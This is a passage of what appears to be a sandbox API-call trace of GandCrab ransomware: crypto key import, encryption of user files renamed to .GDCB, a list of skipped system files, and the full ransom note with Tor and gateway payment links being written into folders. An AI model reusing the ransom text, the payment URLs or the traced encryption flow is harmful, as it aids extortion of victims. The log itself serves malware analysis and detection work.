CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.560] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.560] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.560] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.560] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.560] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.560] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.560] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.560] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.561] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.561] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.561] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58ff90) returned 1 [0053.563] CryptImportKey (in: hProv=0x58ff90, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5895a0) returned 1 [0053.563] CryptGetKeyParam (in: hKey=0x5895a0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.563] CryptEncrypt (in: hKey=0x5895a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.563] GetLastError () returned 0x0 [0053.563] CryptReleaseContext (hProv=0x58ff90, dwFlags=0x0) returned 1 [0053.563] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.565] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x589360) returned 1 [0053.565] CryptGetKeyParam (in: hKey=0x589360, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.565] CryptEncrypt (in: hKey=0x589360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.565] GetLastError () returned 0x0 [0053.565] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.565] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\fcmh0q4.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.565] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.565] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.566] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xa33e, lpOverlapped=0x0) returned 1 [0053.570] VirtualAlloc (lpAddress=0x0, dwSize=0xa340, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.570] VirtualAlloc (lpAddress=0x0, dwSize=0xa340, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.571] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.571] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-41790, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.571] WriteFile (in: hFile=0x4f4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xa340, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0xa340, lpOverlapped=0x0) returned 1 [0053.572] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.572] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.575] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.575] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.575] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.575] CloseHandle (hObject=0x4f4) returned 1 [0053.576] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.576] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.577] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.577] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\fcmh0q4.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\FCmH0Q4.bmp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\fcmh0q4.bmp.gdcb")) returned 1 [0053.577] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.577] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.577] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.578] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.578] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.578] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt" [0053.578] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.578] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt") returned 54 [0053.578] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt") returned 54 [0053.578] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt") returned 54 [0053.578] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\GDCB-DECRYPT.txt") returned 54 [0053.578] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.578] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.578] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.578] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.578] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.578] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.578] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.578] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.578] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.578] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.578] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.578] lstrcmpW (lpString1="Identities", lpString2=".") returned 1 [0053.578] lstrcmpW (lpString1="Identities", lpString2="..") returned 1 [0053.578] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Identities" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities" [0053.578] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\" [0053.578] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.578] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.578] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.578] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.578] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.578] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.579] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\") returned 49 [0053.579] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*" [0053.579] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0x5895e0 [0053.579] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.579] FindNextFileW (in: hFindFile=0x5895e0, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.579] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.579] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.579] FindNextFileW (in: hFindFile=0x5895e0, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.579] lstrcmpW (lpString1="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2=".") returned 1 [0053.579] lstrcmpW (lpString1="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="..") returned 1 [0053.579] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" [0053.579] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned 87 [0053.579] FindNextFileW (in: hFindFile=0x5895e0, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0 [0053.579] FindClose (in: hFindFile=0x5895e0 | out: hFindFile=0x5895e0) returned 1 [0053.579] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.579] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\\\GDCB-DECRYPT.txt") returned 66 [0053.579] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\identities\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.585] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.585] WriteFile (in: hFile=0x4f4, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285effc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285effc*=0xad6, lpOverlapped=0x0) returned 1 [0053.586] CloseHandle (hObject=0x4f4) returned 1 [0053.586] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.586] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\") returned 49 [0053.586] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*" [0053.586] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0x5891e0 [0053.587] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.587] FindNextFileW (in: hFindFile=0x5891e0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.587] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.587] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.587] FindNextFileW (in: hFindFile=0x5891e0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.587] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.587] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.587] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt" [0053.587] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.587] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt") returned 65 [0053.587] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt") returned 65 [0053.587] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt") returned 65 [0053.587] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\GDCB-DECRYPT.txt") returned 65 [0053.587] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.587] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.587] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.587] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.587] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.587] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.587] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.587] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.587] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.587] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.588] FindNextFileW (in: hFindFile=0x5891e0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.588] lstrcmpW (lpString1="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2=".") returned 1 [0053.588] lstrcmpW (lpString1="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="..") returned 1 [0053.588] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\", lpString2="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" [0053.588] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\" [0053.588] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.588] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.588] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.588] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.588] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.588] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.588] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\") returned 88 [0053.588] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*" [0053.588] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x589020 [0053.588] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.588] FindNextFileW (in: hFindFile=0x589020, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.588] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.588] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.588] FindNextFileW (in: hFindFile=0x589020, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0053.588] FindClose (in: hFindFile=0x589020 | out: hFindFile=0x589020) returned 1 [0053.588] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.589] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\\\GDCB-DECRYPT.txt") returned 105 [0053.589] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\identities\\{ca8ca1bb-f2a6-4e9c-b7cc-fb56671763e8}\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0053.589] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.589] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0053.589] CloseHandle (hObject=0x4f8) returned 1 [0053.589] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.590] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\") returned 88 [0053.590] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*" [0053.590] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x589220 [0053.590] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.590] FindNextFileW (in: hFindFile=0x589220, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.590] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.590] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.590] FindNextFileW (in: hFindFile=0x589220, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.590] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.590] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.590] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt" [0053.590] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.590] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt") returned 104 [0053.590] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt") returned 104 [0053.590] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt") returned 104 [0053.590] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt") returned 104 [0053.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", 